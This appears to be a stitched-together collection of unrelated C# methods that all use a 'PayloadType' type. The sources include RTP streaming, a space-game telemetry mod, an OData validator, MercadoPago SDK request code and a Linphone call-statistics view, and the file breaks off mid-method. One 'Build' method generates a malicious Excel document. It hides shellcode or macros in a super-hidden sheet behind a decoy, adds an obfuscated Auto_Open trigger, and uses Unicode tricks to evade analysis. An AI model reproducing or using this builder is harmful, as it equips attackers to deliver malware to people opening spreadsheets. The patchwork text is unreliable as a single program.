/// <summary>
/// Class factory for creating all RtpSenders
/// </summary>
internal static RtpSender CreateInstance(IRtpSession session, string name, PayloadType pt,
Hashtable priExns, Hashtable paraPay)
{
if(priExns != null)
{
// Fec RtpSenders
string fecData = (string)priExns[Rtcp.PEP_FEC];
if(fecData != null)
{
string[] args = fecData.Split(new char[]{':'});
ushort cDataPx = ushort.Parse(args[0]);
ushort cFecPx = ushort.Parse(args[1]);
// Validates in case private extensions were modified elsewhere than method below
if(cFecPx == 0)
{
throw new ArgumentOutOfRangeException("cFecPx", cFecPx, "Must be >= 1");
}
if(cDataPx == 0)
{
// Frame based Fec
return new RtpSenderFFec(session, name, pt, priExns, cFecPx);
}
else
{
// Constant Fec
return new RtpSenderCFec(session, name, pt, priExns, cDataPx, cFecPx);
}
}
}
// Regular old RtpSender
return new RtpSender(session, name, pt, priExns, paraPay);
}
/// <summary>
/// Constructs a frame for Sending
/// </summary>
public RtpFrame(uint packetSize, PayloadType payloadType, Hashtable payloadPara, uint timeStamp)
{
this.packetSize = packetSize;
this.payloadType = payloadType;
this.payloadPara = payloadPara;
this.timeStamp = timeStamp;
}
public PayloadChannel CreateChannel(PayloadType aType)
{
PayloadChannel aChannel = new PayloadChannel(aType);
AddChannel(aChannel);
return aChannel;
}
public QueryParameters(
PayloadType? payload,
IScopeParameters scopeParameters,
IEnumerable<string> fields)
{
this.Payload = payload;
this.ScopeParameters = scopeParameters;
this.Fields = fields;
}
private bool checkPayloadTypeAttributeApproxEq(PayloadType type)
{
switch (type)
{
case PayloadType.Altitude:
case PayloadType.Terrain_altitude:
return Math.Abs(Attributes.prev_altitude - FlightGlobals.ActiveVessel.altitude) < Attributes.ALTITUDE_APPROX_EQUALITY;
case PayloadType.Apoapsis:
return Math.Abs(Attributes.prev_apoapsis - FlightGlobals.ActiveVessel.orbit.ApA) < Attributes.ALTITUDE_APPROX_EQUALITY;
case PayloadType.Apoapsis_r:
return Math.Abs(Attributes.prev_apoaps_r - FlightGlobals.ActiveVessel.orbit.ApR) < Attributes.ALTITUDE_APPROX_EQUALITY;
case PayloadType.Orb_spd:
return Math.Abs(Attributes.prev_orb_spd - FlightGlobals.ActiveVessel.obt_speed) < Attributes.SPEED_APPROX_EQUALITY;
case PayloadType.Periapsis:
return Math.Abs(Attributes.prev_periapsis - FlightGlobals.ActiveVessel.orbit.PeA) < Attributes.ALTITUDE_APPROX_EQUALITY;
case PayloadType.Periapsis_r:
return Math.Abs(Attributes.prev_periaps_r - FlightGlobals.ActiveVessel.orbit.PeR) < Attributes.ALTITUDE_APPROX_EQUALITY;
case PayloadType.Stage:
return Attributes.prev_stage == FlightGlobals.ActiveVessel.currentStage;
case PayloadType.Surf_spd:
return Math.Abs(Attributes.prev_surf_spd - FlightGlobals.ActiveVessel.srfSpeed) < Attributes.SPEED_APPROX_EQUALITY;
case PayloadType.T_t_apo:
return Math.Abs(Attributes.prev_t_t_apo - FlightGlobals.ActiveVessel.orbit.timeToAp) < Attributes.GAME_TIME_APPROX_EQUAL;
case PayloadType.T_t_peri:
return Math.Abs(Attributes.prev_t_t_peri - FlightGlobals.ActiveVessel.orbit.timeToPe) < Attributes.GAME_TIME_APPROX_EQUAL;
case PayloadType.Targ_dist:
// TODO
return true;
case PayloadType.Targ_spd:
return Math.Abs(Attributes.prev_targ_spd - FlightGlobals.ship_tgtSpeed) < Attributes.SPEED_APPROX_EQUALITY;
case PayloadType.SOI_Num:
return Attributes.prev_soi == ICCHelpers.SOI_to_SOI_Number(FlightGlobals.ActiveVessel.orbit.referenceBody.name);
case PayloadType.Latitude:
return Math.Abs(Attributes.prev_latitude - FlightGlobals.ActiveVessel.latitude) < Attributes.DEGREES_APPROX_EQUALITY;
case PayloadType.Longitude:
return Math.Abs(Attributes.prev_longitude - FlightGlobals.ActiveVessel.longitude) < Attributes.DEGREES_APPROX_EQUALITY;
case PayloadType.Orbital_period:
return Math.Abs(Attributes.prev_orb_per - FlightGlobals.ActiveVessel.orbit.period) < Attributes.GAME_TIME_APPROX_EQUAL;
case PayloadType.Gee_force:
return Math.Abs(Attributes.prev_gee_force - FlightGlobals.ActiveVessel.geeForce) < Attributes.SPEED_APPROX_EQUALITY;
default:
print("[ICC] ERROR. Trying to check attribute equality with invalid payload type");
return true;
}
}
internal static InMemFrame NewPayLoad(ulong conversationId, PayloadType payloadType, IBonded layerData,
IMessage message, TaskCompletionSource<IMessage> taskSource)
{
var headers = new SimpleInMemHeaders
{
conversation_id = conversationId,
payload_type = payloadType
};
var payload = new InMemFrame
{
headers = headers,
layerData = layerData,
message = message,
outstandingRequest = taskSource
};
Validate(payload);
return payload;
}
/// <summary>
/// Filters rules based on payload type and flag of media link entry.
/// </summary>
/// <param name="rules">The collection of input rules</param>
/// <param name="payloadType">Payload type</param>
/// <param name="isMediaLinkEntry">Flag of media link entry</param>
/// <param name="projection">Flag of projected request</param>
/// <returns>The subset of input rules that meet the conditions of payload type and media link entry flag</returns>
private static IEnumerable<Rule> SelectRules(this IEnumerable<Rule> rules, PayloadType payloadType, bool isMediaLinkEntry, bool projection)
{
rules = from r in rules
where !r.PayloadType.HasValue || r.PayloadType == payloadType
select r;
if (payloadType == PayloadType.Entry)
{
rules = from r in rules
where !r.IsMediaLinkEntry.HasValue || r.IsMediaLinkEntry.Value == isMediaLinkEntry
select r;
}
if (payloadType == PayloadType.Entry || payloadType == PayloadType.Feed)
{
rules = from r in rules
where !r.Projection.HasValue || r.Projection.Value == projection
select r;
}
return rules;
}
/// <summary>
/// get details of the stream...raw data and start tiume etc
/// set up the stream senders associated with us. we have n, one active and the rest acting as buffers
/// </summary>
public StreamPlayer( RtpSession session, int newStreamID, ConferencePlayerPC cppc)
{
int maxFrameSize, maxFrameCount, maxBufferSize;
// This occasionally throws due to bad data. Let ConferencePlayer handle it.
DBHelper.GetStreamStatistics( newStreamID, out this.firstStreamTicks, out maxFrameSize, out maxFrameCount, out maxBufferSize);
streamID = newStreamID;
totalFramesSent = 0;
totalBytesSent = 0;
totalLateness = 0;
buffers = new BufferPlayer[Constants.BuffersPerStream];
perfCounter = cppc;
string payload;
DBHelper.GetStreamAndParticipantDetails( streamID, out name, out payload, out cname, out privExtns );
streamPayload = (PayloadType)Enum.Parse( typeof(PayloadType), payload, true );
// for delayed buffers (late joiners), we create the rtpSender later
this.rtpSession = session;
Trace.WriteLine("Playing back stream: "+streamID+"; payload: "+streamPayload+"; name: "+ (cname + " : " +name));
// buffer n buffers worth of data
long startingTick = this.firstStreamTicks;
for ( int i = 0; i < buffers.Length; i++)
{
buffers[i] = new BufferPlayer( streamID, maxFrameSize, maxFrameCount, maxBufferSize);
buffers[i].Populate( startingTick );
startingTick = buffers[i].LastTick + 1;
perfCounter.AddInstanceForCollection(buffers[i]);
}
// first stream is initially active
activeBufferIndex = 0;
activeBuffer = buffers[activeBufferIndex];
}
internal RtpStreamFec(RtpListener rtpListener, uint ssrc, string ipaddress, SdesData sdes, PayloadType pt)
: base(rtpListener, ssrc, ipaddress, sdes, pt)
{
this.getBufferHandler = rtpListener.GetBufferCallback;
}
/// <summary>
/// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument.
/// </summary>
/// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param>
/// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param>
/// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param>
/// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param>
/// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param>
/// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param>
/// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param>
/// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param>
/// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param>
public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble,
PayloadType payloadType = PayloadType.Shellcode,
string macroSheetName = "Sheet2", string outputFileName = "output.xls", bool debugMode = false,
SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc)
{
if (decoyDocument == null || payload == null)
{
Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions.");
return;
}
//Useful for remote debugging
if (debugMode)
{
Console.WriteLine("Waiting for debugger to attach");
while (!Debugger.IsAttached)
{
Thread.Sleep(100);
}
Console.WriteLine("Debugger attached");
}
List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();
string decoyDocPath = decoyDocument.FullName;
WorkbookStream wbs = LoadDecoyDocument(decoyDocPath);
List <string> preambleCode = new List <string>();
if (preamble != null)
{
string preambleCodePath = new FileInfo(preamble).FullName;
preambleCode = new List <string>(File.ReadAllLines(preambleCodePath));
}
if (wbs.GetAllRecordsByType <SupBook>().Count > 0)
{
throw new NotImplementedException("Please use a decoy document with no existing Labels.");
}
WorkbookEditor wbe = new WorkbookEditor(wbs);
wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden);
List <string> macros = null;
byte[] binaryPayload = null;
byte[] binary64Payload = null;
//TODO make this customizable
int rwStart = 0;
int colStart = 0xA0;
int dstRwStart = 0;
int dstColStart = 0;
int curRw = rwStart;
int curCol = colStart;
switch (payloadType)
{
case PayloadType.Shellcode:
macros = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName);
binaryPayload = File.ReadAllBytes(payload.FullName);
if (payload64Bit != null && payload64Bit.Exists)
{
binary64Payload = File.ReadAllBytes(payload64Bit.FullName);
}
break;
case PayloadType.Macro:
macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList());
break;
default:
throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType),
"payloadType");
}
if (binaryPayload != null && binaryPayload.Length > 0)
{
wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method);
curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;
if (rwStart > 0xE000)
{
curRw = 0;
curCol += 1;
}
if (binary64Payload != null && binary64Payload.Length > 0)
{
wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method);
curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;
if (rwStart > 0xE000)
{
curRw = 0;
curCol += 1;
}
macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName);
}
}
wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method);
if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine)
{
ushort charInvocationRw = 0xefff;
ushort charInvocationCol = 0x9f;
wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true);
//Abuse a few comparison "features" in Excel
//1. Null bytes are ignored at the beginning and start of a label.
//2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ
//3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325)
//4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions
wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true);
//Using lblIndex 2, since that what var has set for us
wbe.AddFormula(
FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2));
}
wbe.AddLabel("Auto_Open", rwStart, colStart);
wbe.ObfuscateAutoOpen();
ExcelDocWriter writer = new ExcelDocWriter();
string outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName;
Console.WriteLine("Writing generated document to {0}", outputPath);
writer.WriteDocument(outputPath, wbe.WbStream);
}
/// <summary>
/// Connect up a branch of the graph for network sending. Source filter should already be in the graph.
/// DVSplitter and compressor may also already be connected, but for uncompressed cases, the Splitter
/// may not be there yet.
/// </summary>
/// <param name="rtpSender"></param>
/// <param name="payload"></param>
public override void RenderNetwork(RtpSender rtpSender, PayloadType payload)
{
if (rtpSender == null) {
string msg = Strings.NullRtpSenderError;
Debug.Fail(msg);
throw new ArgumentNullException(Strings.RtpSender, msg);
}
//Splitter may not yet be added in network scenarios without compression
if (!this.AddDVSplitter()) {
throw new ApplicationException("Failed to add DV Splitter");
}
networkContext = true;
if (payload == PayloadType.dynamicVideo) {
videoRenderer = (Renderer)Filter.NetworkRenderer();
((IRtpRenderer)videoRenderer.BaseFilter).Initialize2(rtpSender, this.rtpRendererFlags);
iGB.AddFilter(videoRenderer.BaseFilter, videoRenderer.FriendlyName);
videoRenderer.AddedToGraph(fgm);
iGB.Connect(videoCompressor != null ? videoCompressor.OutputPin : splitterVideoOut,
videoRenderer.InputPin);
}
else if (payload == PayloadType.dynamicAudio) {
audioRenderer = (Renderer)Filter.NetworkRenderer();
((IRtpRenderer)audioRenderer.BaseFilter).Initialize2(rtpSender, this.rtpRendererFlags);
iGB.AddFilter(audioRenderer.BaseFilter, audioRenderer.FriendlyName);
audioRenderer.AddedToGraph(fgm);
iGB.Connect(audioCompressor != null ? audioCompressor.OutputPin : splitterAudioOut,
audioRenderer.InputPin);
}
}
public virtual void RenderNetwork(RtpSender rtpSender, PayloadType payload)
{
RenderNetwork(rtpSender);
}
/// <summary>
/// Creates an RtpSender with Forward Error Correction
///
/// This RtpSender sends the data requested by the user, plus some extra data in order to
/// help recover lost data. The recovery packets are sent per the specified ratio of
/// cDataPx : cFecPx, e.g. 3:1 means for every 3 data packets we will send 1 fec packet.
/// This means we can lose any 1 of the 4 packets and recover the data. 3:2 means we
/// can lose any 2 of the 5 and still recover the data.
///
/// It takes 1 FEC packet to recover 1 lost data packet. It is important to balance the
/// extra CPU and network bandwidth against the reliability of the data. Increasing either
/// CPU or network bandwidth too much may cause worse data loss than not correcting at all.
///
/// If the FEC ratio uses only 1 FEC packet (2:1, 3:1, etc.) we use an XOR algorithm, which
/// is very fast. If the ratio uses more than one FEC packet (3:2, 5:3, etc.), we use the
/// Reed-Solomon algorithm. Reed-Solomon is more complicated and therefore requires more
/// CPU, however it allows you to recover from a broader range of loss patterns.
/// </summary>
/// <param name="Name">string Friendly Name of the device/sender of this RtpStream</param>
/// <param name="payloadType">Rtp Payload Type</param>
/// <param name="priExns">Private extensions for this RtpSender/Stream</param>
/// <param name="dataPackets">Count of data packets to protect with FEC packets</param>
/// <param name="perFECPackets">Count of FEC packets to protect data, 1:1 recovery</param>
public RtpSender CreateRtpSenderFec(string name, PayloadType pt, Hashtable priExns, ushort cDataPx, ushort cFecPx)
{
ValidateRtpTraffic();
RtpSender rtpSender = RtpSender.CreateInstance(this, name, pt, priExns, cDataPx, cFecPx);
_CreateRtpSender(rtpSender);
return rtpSender;
}
internal RtpSenderCFec(IRtpSession session, string name, PayloadType pt, Hashtable priExns,
ushort cDataPx, ushort cFecPx)
: base(session, name, pt, priExns, null)
{
pcFecType = 1;
this.cDataPx = cDataPx;
this.cFecPx = cFecPx;
SetEncoder();
InitializeDCStorage();
}
public byte[] GetNextWrittenChunk(PayloadType type) => _writtenChunks.GetValueOrDefault(type, new Queue <List <byte> >(0)).Dequeue().ToArray();
private void timerTick(Object sender, EventArgs args)
{
LinphoneCall call = ((InCallModel)ViewModel).GetCurrentCall();
if (call == null)
{
return;
}
startTime = (DateTimeOffset)call.CallStartTimeFromContext;
DateTimeOffset now = DateTimeOffset.Now;
TimeSpan elapsed = now.Subtract(startTime);
var hh = elapsed.Hours;
var ss = elapsed.Seconds;
var mm = elapsed.Minutes;
Status.Text = hh.ToString("00") + ":" + mm.ToString("00") + ":" + ss.ToString("00");
string audioPayloadType = "";
string audioDownloadBandwidth = "";
string audioUploadBandwidth = "";
string videoPayloadType = "";
string videoDownloadBandwidth = "";
string videoUploadBandwidth = "";
LinphoneCallParams param = call.GetCurrentParamsCopy();
((InCallModel)ViewModel).MediaEncryption = param.MediaEncryption.ToString();
LinphoneCallStats audioStats = null;
try
{
audioStats = call.AudioStats;
}
catch { }
if (audioStats != null)
{
audioDownloadBandwidth = String.Format("{0:0.00}", audioStats.DownloadBandwidth);
audioUploadBandwidth = String.Format("{0:0.00}", audioStats.UploadBandwidth);
((InCallModel)ViewModel).ICE = audioStats.IceState.ToString();
}
PayloadType audiopt = param.UsedAudioCodec;
if (audiopt != null)
{
audioPayloadType = audiopt.MimeType + "/" + audiopt.ClockRate;
}
if (param.VideoEnabled)
{
LinphoneCallStats videoStats = call.VideoStats;
if (videoStats != null)
{
videoDownloadBandwidth = String.Format("{0:0.00}", videoStats.DownloadBandwidth);
videoUploadBandwidth = String.Format("{0:0.00}", videoStats.UploadBandwidth);
}
PayloadType videopt = param.UsedVideoCodec;
if (videopt != null)
{
videoPayloadType = videopt.MimeType;
}
Windows.Foundation.Size receivedVideoSize = param.ReceivedVideoSize;
String NewReceivedVideoSize = String.Format("{0}x{1}", receivedVideoSize.Width, receivedVideoSize.Height);
String OldReceivedVideoSize = ((InCallModel)ViewModel).ReceivedVideoSize;
if (OldReceivedVideoSize != NewReceivedVideoSize)
{
((InCallModel)ViewModel).ReceivedVideoSize = String.Format("{0}x{1}", receivedVideoSize.Width, receivedVideoSize.Height);
((InCallModel)ViewModel).IsVideoActive = false;
if (NewReceivedVideoSize != "0x0")
{
((InCallModel)ViewModel).IsVideoActive = true;
}
}
Windows.Foundation.Size sentVideoSize = param.SentVideoSize;
((InCallModel)ViewModel).SentVideoSize = String.Format("{0}x{1}", sentVideoSize.Width, sentVideoSize.Height);
((InCallModel)ViewModel).VideoStatsVisibility = Visibility.Visible;
}
else
{
((InCallModel)ViewModel).VideoStatsVisibility = Visibility.Collapsed;
}
string downloadBandwidth = audioDownloadBandwidth;
if ((downloadBandwidth != "") && (videoDownloadBandwidth != ""))
{
downloadBandwidth += " - ";
}
if (videoDownloadBandwidth != "")
{
downloadBandwidth += videoDownloadBandwidth;
}
((InCallModel)ViewModel).DownBandwidth = String.Format("{0} kb/s", downloadBandwidth);
string uploadBandwidth = audioUploadBandwidth;
if ((uploadBandwidth != "") && (videoUploadBandwidth != ""))
{
uploadBandwidth += " - ";
}
if (videoUploadBandwidth != "")
{
uploadBandwidth += videoUploadBandwidth;
}
((InCallModel)ViewModel).UpBandwidth = String.Format("{0} kb/s", uploadBandwidth);
string payloadType = audioPayloadType;
if ((payloadType != "") && (videoPayloadType != ""))
{
payloadType += " - ";
}
if (videoPayloadType != "")
{
payloadType += videoPayloadType;
}
((InCallModel)ViewModel).PayloadType = payloadType;
}
public bool HasPendingChunks(PayloadType type) => _writtenChunks.TryGetValue(type, out var pendingChunks) && pendingChunks.Count > 0;
/// <summary>
/// Remove everything downstream from the DVSplitter for the specified payload type
/// </summary>
/// <param name="payload"></param>
public override void RemoveFiltersDownstreamFromSource(PayloadType payload)
{
RemoveFiltersDownstreamFromSplitter(payload);
}
/// <summary>
/// Remove everything downstream from the DVSplitter for the specified payload type
/// </summary>
/// <param name="payload"></param>
public override void RemoveCompressor(PayloadType payload)
{
RemoveFiltersDownstreamFromSplitter(payload);
}
public virtual void RenderNetwork(RtpSender rtpSender, PayloadType payload)
{
RenderNetwork(rtpSender);
}
public static int getsize(PayloadType type)
{
switch (type) {
case PayloadType.Stage:
return sizeof(int);
case PayloadType.SOI_Num:
return sizeof(byte);
case PayloadType.Latitude:
case PayloadType.Longitude:
return sizeof(float);
default:
return sizeof(double);
}
}
protected override void PrepareSequence(ref ReadOnlySequence <byte> sequence, PayloadType payloadType)
{
}
/// <summary>
/// // Whether Int64, Decimal or Count are formatted as string in entry or feed.
/// </summary>
/// <param name="jo">The response payload object.</param>
/// <param name="type">The payload type of object.</param>
/// <param name="odataCount">The odata.count annotation name.</param>
/// <returns>true:Int64 or Decimal or feed count are formatted as string; false:otherwise; null: not applicable.</returns>
private bool? IsInt64OrDecimalAsString(JObject jo, PayloadType type, string odataCount)
{
bool? isInt64OrDecimalAsString = null;
if (type == RuleEngine.PayloadType.Entry)
{
foreach (JProperty jProp in jo.Children())
{
if (jProp.Name.EndsWith(Constants.V4OdataType) && !jProp.Name.Equals(Constants.V4OdataType)
&& (jProp.Value.ToString().StripOffDoubleQuotes().Equals("#Decimal") || jProp.Value.ToString().StripOffDoubleQuotes().Equals("#Int64")))
{
if (((JProperty)jProp.Next).Value.Type == JTokenType.String)
{
isInt64OrDecimalAsString = true;
}
else
{
isInt64OrDecimalAsString = false;
break;
}
}
}
}
else if (type == RuleEngine.PayloadType.Feed)
{
foreach (JProperty jp in jo.Children<JProperty>())
{
if (jp.Name.Equals(odataCount))
{
if (((JProperty)jp).Value.Type == JTokenType.String)
{
isInt64OrDecimalAsString = true;
}
else
{
isInt64OrDecimalAsString = false;
}
break;
}
}
foreach (JObject ob in (JArray)jo[Constants.Value])
{
bool? resultMiddle = IsInt64OrDecimalAsString(ob, RuleEngine.PayloadType.Entry, odataCount);
if (resultMiddle.HasValue)
isInt64OrDecimalAsString = resultMiddle;
if (isInt64OrDecimalAsString == false)
{
break;
}
}
}
return isInt64OrDecimalAsString;
}
protected override ValueTask SendAsync(PayloadType type, ReadOnlySequence <byte> sequence) => _sendHandler(this, type, sequence);
public RequestBase CreateRequest(HttpMethod httpMethod,
string path,
PayloadType payloadType,
JObject payload,
RequestOptions requestOptions)
{
if (string.IsNullOrEmpty(path))
{
throw new MercadoPagoRestException("Uri can not be an empty string.");
}
if (httpMethod.Equals(HttpMethod.GET))
{
if (payload != null)
{
throw new MercadoPagoRestException("Payload not supported for this method.");
}
}
else if (httpMethod.Equals(HttpMethod.POST))
{
//if (payload == null)
//{
// throw new MercadoPagoRestException("Must include payload for this method.");
//}
}
else if (httpMethod.Equals(HttpMethod.PUT))
{
if (payload == null)
{
throw new MercadoPagoRestException("Must include payload for this method.");
}
}
else if (httpMethod.Equals(HttpMethod.DELETE))
{
if (payload != null)
{
throw new MercadoPagoRestException("Payload not supported for this method.");
}
}
RequestBase request = new RequestBase
{
Request = (HttpWebRequest)WebRequest.Create(path)
};
request.Request.Method = httpMethod.ToString();
if (requestOptions == null)
{
requestOptions = new RequestOptions();
}
if (requestOptions.Timeout > 0)
{
request.Request.Timeout = requestOptions.Timeout;
}
if (!path.Contains("/oauth/token"))
{
request.Request.Headers.Add("Authorization", $"Bearer {(!string.IsNullOrEmpty(requestOptions.AccessToken) ? requestOptions.AccessToken : MercadoPagoSDK.OAuthAccessToken)}");
}
request.Request.Headers.Add("x-product-id", MercadoPagoSDK.ProductId);
request.Request.Headers.Add("x-tracking-id", MercadoPagoSDK.TrackingId);
if (requestOptions.CustomHeaders != null)
{
foreach (KeyValuePair <string, string> header in requestOptions.CustomHeaders)
{
if (request.Request.Headers[header.Key] == null)
{
request.Request.Headers.Add(header.Key, header.Value);
}
}
}
if (requestOptions.TrackHeaders != null)
{
foreach (KeyValuePair <string, string> trackHeader in requestOptions.TrackHeaders)
{
if (request.Request.Headers[trackHeader.Key] == null && trackHeader.Value != null)
{
request.Request.Headers[trackHeader.Key] = trackHeader.Value;
}
}
}
if (payload != null) // POST & PUT
{
byte[] data;
if (payloadType != PayloadType.JSON)
{
Dictionary <string, string> parametersDict = payload.ToObject <Dictionary <string, string> >();
StringBuilder parametersString = new StringBuilder();
parametersString.Append(string.Format("{0}={1}", parametersDict.First().Key, parametersDict.First().Value));
parametersDict.Remove(parametersDict.First().Key);
foreach (KeyValuePair <string, string> value in parametersDict)
{
parametersString.Append(string.Format("&{0}={1}", value.Key, value.Value.ToString()));
}
data = Encoding.ASCII.GetBytes(parametersString.ToString());
}
else
{
data = Encoding.ASCII.GetBytes(payload.ToString());
}
request.Request.UserAgent = "MercadoPago DotNet MercadoPagoSDK/" + MercadoPagoSDK.Version;
request.Request.ContentLength = data.Length;
request.Request.ContentType = payloadType == PayloadType.JSON ? "application/json" : "application/x-www-form-urlencoded";
request.RequestPayload = data;
}
IWebProxy proxy = requestOptions.Proxy ?? (_proxy ?? MercadoPagoSDK.Proxy);
request.Request.Proxy = proxy;
return(request);
}
internal RtpSenderFec(IRtpSession session, string name, PayloadType pt, Hashtable priExns, Hashtable paraPay)
:
base(session, name, pt, priExns, paraPay)
{
}
internal RtpSenderFFec(IRtpSession session, string name, PayloadType pt, Hashtable priExns,
ushort cFecPx)
: base(session, name, pt, priExns, null)
{
fecPercent = cFecPx;
pcFecType = 2;
}
public SlideStreamMgr(ArchiveTranscoderJob job, ArchiveTranscoderJobSegment segment,
LogMgr logMgr, double fps, int width, int height)
{
this.job = job;
this.segment = segment;
this.logMgr = logMgr;
if (width > 0 && height > 0)
{
this.outputWidth = width;
this.outputHeight = height;
}
this.ticksBetweenFrames = (long)((double)Constants.TicksPerSec / fps);
uncompressedMT = getUncompressedMT(this.outputWidth, this.outputHeight, fps);
cancel = false;
initialized = false;
pptInstalled = Utility.CheckPptIsInstalled();
if ((!DateTime.TryParse(segment.StartTime, out start)) ||
(!DateTime.TryParse(segment.EndTime, out end)))
{
throw(new System.Exception("Failed to parse start/end time"));
}
this.nextFrameTime = start.Ticks;
format = Utility.StringToPresenterWireFormatType(segment.PresentationDescriptor.PresentationFormat);
payload = Utility.formatToPayload(format);
cname = segment.PresentationDescriptor.PresentationCname;
slideImageMgr = new SlideImageMgr(format, this.outputWidth, this.outputHeight);
//Get the start time for the entire conference and use that to get streams.
long confStart = DatabaseUtility.GetConferenceStartTime(payload, cname, start.Ticks, end.Ticks);
if (confStart <= 0)
{
logMgr.WriteLine("Warning: No conference exists in the database that matches this presentation: " + cname +
" with PresentationFormat " + format.ToString());
logMgr.ErrorLevel = 7;
confStart = start.Ticks;
}
//Get the relevant stream_id's and create DBStreamPlayers for each.
streamIDs = DatabaseUtility.GetStreams(payload, segment.PresentationDescriptor.PresentationCname, null, confStart, end.Ticks);
DateTime sdt = new DateTime(confStart);
Debug.WriteLine("***Conference start: " + sdt.ToString() + " end: " + end.ToString());
if ((streamIDs == null) || (streamIDs.Length == 0))
{
Debug.WriteLine("No presentation data found.");
logMgr.WriteLine("Warning: No presentation data was found for the given time range for " +
cname + " with PresentationFormat " + format.ToString());
logMgr.ErrorLevel = 7;
streamPlayers = null;
return;
}
streamPlayers = new DBStreamPlayer[streamIDs.Length];
for (int i = 0; i < streamIDs.Length; i++)
{
streamPlayers[i] = new DBStreamPlayer(streamIDs[i], confStart, end.Ticks, payload);
}
lookBehindDuration = 0;
if (streamPlayers[0].Start < start)
{
lookBehindDuration = ((TimeSpan)(start - streamPlayers[0].Start)).TotalSeconds;
}
}
public virtual void RemoveFiltersDownstreamFromSource(PayloadType payload)
{
RemoveFiltersDownstreamFrom(source);
}
public Header(ushort sender, ushort receiver, MessageType msgType, uint telegrammId, uint size, PayloadType type)
: this()
{
SenderId = sender;
ReceiverId = receiver;
MsgType = msgType;
TelegrammId = telegrammId;
PayloadSize = size;
PayloadType = type;
}
/// <summary>
/// Remove everything downstream from the DVSplitter for the specified payload type
/// </summary>
/// <param name="payload"></param>
public override void RemoveFiltersDownstreamFromSource(PayloadType payload)
{
RemoveFiltersDownstreamFromSplitter(payload);
}
public async Task <MPAPIResponse> ExecuteRequestAsync(
HttpMethod httpMethod,
string path,
PayloadType payloadType,
JObject payload,
int requestTimeout,
int retries)
{
System.Diagnostics.Trace.WriteLine("Payload " + httpMethod + " request to " + path + " : " + payload);
try
{
if (string.IsNullOrEmpty(path))
{
throw new MPRESTException("Uri can not be an empty string.");
}
ValidateMethodAndPayload(httpMethod, payload);
var requestMethod = GetHttpMethod(httpMethod);
var request = new HttpRequestMessage(requestMethod, path);
var client = new HttpClient();
if (requestTimeout > 0)
{
client.Timeout = TimeSpan.FromSeconds(requestTimeout);
}
request.Headers.Add("HTTP.USER_AGENT", $"Lexim MercadoPago .NET SDK v{SDK.Version}");
if (payload != null)
{
string data;
if (payloadType != PayloadType.JSON)
{
var formParams =
payload.ToObject <Dictionary <string, string> >()
.Select(x => $"{x.Key}={x.Value}");
var parametersString =
string.Join("&", formParams);
data = parametersString;
}
else
{
data = payload.ToString();
}
var content = Encoding.ASCII.GetBytes(data);
request.Content = new ByteArrayContent(content);
request.Content.Headers.ContentLength = content.Length;
request.Content.Headers.ContentType =
payloadType == PayloadType.JSON
? new MediaTypeHeaderValue("application/json")
: new MediaTypeHeaderValue("application/x-www-form-urlencoded");
}
while (true)
{
try
{
var response = await client.SendAsync(request);
var content = await response.Content.ReadAsByteArrayAsync();
return(new MPAPIResponse(httpMethod, request, payload, response, content));
}
catch
{
if (--retries <= 0)
{
throw;
}
}
}
}
catch (Exception ex)
{
throw new MPRESTException(ex.Message, ex);
}
}
public virtual void RemoveFiltersDownstreamFromSource(PayloadType payload)
{
RemoveFiltersDownstreamFrom(source);
}
/// <summary>
/// Constructs a frame for Sending
/// </summary>
public RtpFrame(uint packetSize, PayloadType payloadType, uint timeStamp)
{
this.packetSize = packetSize;
this.payloadType = payloadType;
this.timeStamp = timeStamp;
}
public FrameFunctionality()
{
// Testing PopFirstValue
Console.WriteLine("");
Console.WriteLine("Testing PopFirstValue:");
FrameUtils frameUtils = new FrameUtils(Command.SUBSCRIBE, 123456789);
frameUtils.AddVSKeyPairGetUtils("string_test", "true");
frameUtils.AddVSKeyPairGetUtils("bytes_test", Encoding.UTF8.GetBytes("false"));
Frame frame = frameUtils.Build();
string falseValue = Encoding.UTF8.GetString(frame.PopFirstValue("bytes_test"));
string trueValue = Encoding.UTF8.GetString(frame.PopFirstValue("string_test"));
Console.WriteLine("false : " + falseValue);
Console.WriteLine("true : " + trueValue);
Console.WriteLine(" ");
// Testing CorruptedFrameException
Console.WriteLine("");
Console.WriteLine("Testing CorruptedFrameException:");
try
{
